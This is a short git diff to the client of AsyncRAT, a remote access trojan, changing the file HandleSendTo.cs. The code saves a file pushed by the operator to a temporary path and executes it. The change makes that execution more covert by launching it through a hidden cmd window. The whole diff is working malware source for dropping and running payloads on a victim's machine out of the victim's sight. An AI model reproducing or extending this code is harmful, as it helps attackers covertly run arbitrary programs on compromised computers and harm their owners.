diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs index d609884..d8a4792 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -17,7 +17,14 @@ namespace Client.Handle_Packet //Drop To Disk string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - Process.Start(fullPath); + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Arguments = "/k START \"\" \"" + fullPath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + Process.Start(processStartInfo); if (unpack_msgpack.ForcePathObject("Update").AsString == "true") { new HandleUninstall();